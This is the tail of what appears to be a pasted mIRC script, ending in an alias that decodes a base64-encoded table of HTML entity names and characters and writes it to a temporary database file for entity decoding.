1b3INCuKAmg0KbWFwc3RvZG93bg0K4oanDQo6bm90OmdyZWF0ZXI6Z3JlYXRlcg0K4omrzLgNCnhoOmFycg0K4p+6DQo6bGVmdDphcnJvdzpyaWdodDphcnJvdw0K4oeGDQplZ3JhdmUNCsOoDQpnYnJldmUNCsSfDQpycHBvbGludA0K4qiSDQo6dXA6YXJyb3cNCuKGkQ0KbnNob3J0cGFyYWxsZWwNCuKIpg0KbnByY3VlDQrii6ANCmNjZWRpbA0Kw6cNCmIucmhvDQrtm5INCmNpcmNlcQ0K4omXDQpiLnBoaQ0K7ZuXDQpoc2xhc2gNCuKEjw0KbGRydXNoYXINCuKliw0KaGtzZWFyb3cNCuKkpQ0KbXN0cG9zDQriiL4NCjpub3Q6ZWxlbWVudA0K4oiJDQpib3hib3gNCuKniQ0KcXVhdGVybmlvbnMNCuKEjQ0KcmFlbXB0eXYNCuKmsw0KY2Nhcm9uDQrEjQ0KZ2VzbGVzDQriqpQNCm46Z3R2DQriiavMuA0KOm5vdDpodW1wOmRvd246aHVtcA0K4omOzLgNCmIucGl2DQrtm6ENCjpub3Q6c3VjY2VlZHM6ZXF1YWwNCuKqsMy4DQpiLnRhdQ0K7ZuVDQo6dXBzaWxvbg0KzqUNCmJsYWNrdHJpYW5nbGVsZWZ0DQril4INCnVwaGFycG9vbmxlZnQNCuKGvw0KOnJpZ2h0OmFuZ2xlOmJyYWNrZXQNCuKfqQ0KdGhlcmVmb3JlDQriiLQNCjpkb3VibGU6cmlnaHQ6dGVlDQriiqgNCmpzZXJjeQ0K0ZgNCmw6aGFyDQripaINCmd0cmFwcHJveA0K4qqGDQpjYWN1dGUNCsSHDQpsOmFycg0K4oeQDQpndHJlcWxlc3MNCuKLmw0KdmFya2FwcGENCs+wDQppdGlsZGUNCsSpDQo6dDpzOmhjeQ0K0IsNCjpsb25nOnJpZ2h0OmFycm93DQrin7YNCnJhcnJiZnMNCuKkoA0KOmNsb3NlOmN1cmx5OnF1b3RlDQrigJkNCmRsY3JvcA0K4oyNDQpucnRyaWUNCuKLrQ0KYmlndHJpYW5nbGV1cA0K4pazDQo6dmVydGljYWw6bGluZQ0KfA0KeGw6YXJyDQrin7gNCmIuOnRoZXRhDQrtmq8NCjpsZXNzOmdyZWF0ZXINCuKJtg0KY3VydmVhcnJvd2xlZnQNCuKGtg0KbjpsdHYNCuKJqsy4DQpiLnBzaQ0K7ZuZDQpyOmhhcg0K4qWkDQpkb2xsYXINCiQNCjpzcXVhcmU6c3VwZXJzZXQNCuKKkA0KcjphcnINCuKHkg0KY2lyY2xlYXJyb3dsZWZ0DQrihroNCmdlc2RvdA0K4qqADQpsbmFwcHJveA0K4qqJDQo6cHJvcG9ydGlvbmFsDQriiJ0NCmh5cGhlbg0K4oCQDQpwZXJ0ZW5rDQrigLENCmJhY2twcmlt
  3074.   [ [ %c ] ] ZQ0K4oC1DQpiZWNhdXMNCuKItQ0KOm5vdDp0aWxkZTpmdWxsOmVxdWFsDQriiYcNCjp1cDphcnJvdzpiYXINCuKkkg0KYmxhY2t0cmlhbmdsZWRvd24NCuKWvg0KOnVwZG93bmFycm93DQrih5UNCjpuZXN0ZWQ6Z3JlYXRlcjpncmVhdGVyDQriiasNCmVtc3AxMw0K4oCEDQo6c21hbGw6Y2lyY2xlDQriiJgNCnY6YmFydg0K4qupDQplbXNwMTQNCuKAhQ0KOnVwcGVyOmxlZnQ6YXJyb3cNCuKGlg0KcmlnaHRoYXJwb29udXANCuKHgA0KOm5vdDpsZXNzOmdyZWF0ZXINCuKJuA0KOnRpbGRlOnRpbGRlDQriiYgNCjpub3Q6Y3VwOmNhcA0K4omtDQo6czpoOmM6aGN5DQrQqQ0KYi5nYW1tYWQNCu2fiw0KOmxlc3M6ZXF1YWw6Z3JlYXRlcg0K4ouaDQpuYXR1cmFscw0K4oSVDQp0aGV0YXN5bQ0Kz5ENCjptZWRpdW06c3BhY2UNCuKBnw0KbGVmdGFycm93DQrihpANCnVsY29ybmVyDQrijJwNCjpub246YnJlYWtpbmc6c3BhY2UNCsKgDQo6b3BlbjpjdXJseTpkb3VibGU6cXVvdGUNCuKAnA0KcmRsZGhhcg0K4qWpDQpjdXJseWVxcHJlYw0K4oueDQp2OmRhc2gNCuKKqA0KY3VybHllcXN1Y2MNCuKLnw0KYi46c2lnbWENCu2aug0KdHJpbWludXMNCuKoug0KOnVwYXJyb3cNCuKHkQ0KYi46eGkNCu2atQ0KdjphcnINCuKHlQ0KOnByb3BvcnRpb24NCuKItw0KOmNpcmNsZTptaW51cw0K4oqWDQo6bm90OmRvdWJsZTp2ZXJ0aWNhbDpiYXINCuKIpg0KOm5vdDpyZXZlcnNlOmVsZW1lbnQNCuKIjA0KbGVxc2xhbnQNCuKpvQ0KcnRyaWx0cmkNCuKnjg0KYi46cGkNCu2atw0KbGVmdHJpZ2h0c3F1aWdhcnJvdw0K4oatDQpiYWNrZXBzaWxvbg0Kz7YNCmNvbXBsZW1lbnQNCuKIgQ0KbTpkOmRvdA0K4oi6DQo6ZXF1aWxpYnJpdW0NCuKHjA0KOnNxdWFyZTp1bmlvbg0K4oqUDQo6dGlsZGU6ZXF1YWwNCuKJgw0KYi46cHNpDQrtmr8NCnY6YmFyDQriq6gNCjpkb3VibGU6bGVmdDpyaWdodDphcnJvdw0K4oeUDQo6cm91bmQ6aW1wbGllcw0K4qWwDQo6c2hvcnQ6bGVmdDphcnJvdw0K4oaQDQpiaWdvcGx1cw0K4qiBDQpkb3RtaW51cw0K4oi4DQp1Omhhcg0K4qWjDQpiLjpwaGkNCu2avQ0KYmFja3NpbWVxDQrii40NCnU6YXJyDQrih5ENCmhvb2tyaWdodGFycm93DQrihqoNCjpmb3VyaWVydHJmDQrihLENCg==
  3075.   if (!$decode(&db,mb)) { return }
  3076.   if ($fopen(wmm_html_entities_decode_db)) { .fclose wmm_html_entities_decode_db }
  3077.   .fopen -on wmm_html_entities_decode_db $qt($wmm_temp $+ wmm_html.db)
  3078.   .fwrite -b wmm_html_entities_decode_db &db
  3079.   .fclose wmm_html_entities_decode_db
  3080.   return 1
  3081.   :error | wmm_werror $scriptline $error | reseterror
  3082. }
  3083.  
  3084. ; --- End of other aliases ---
  3085.  
  3086. ; ------------------------------------------------------------------------------ EOF ------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement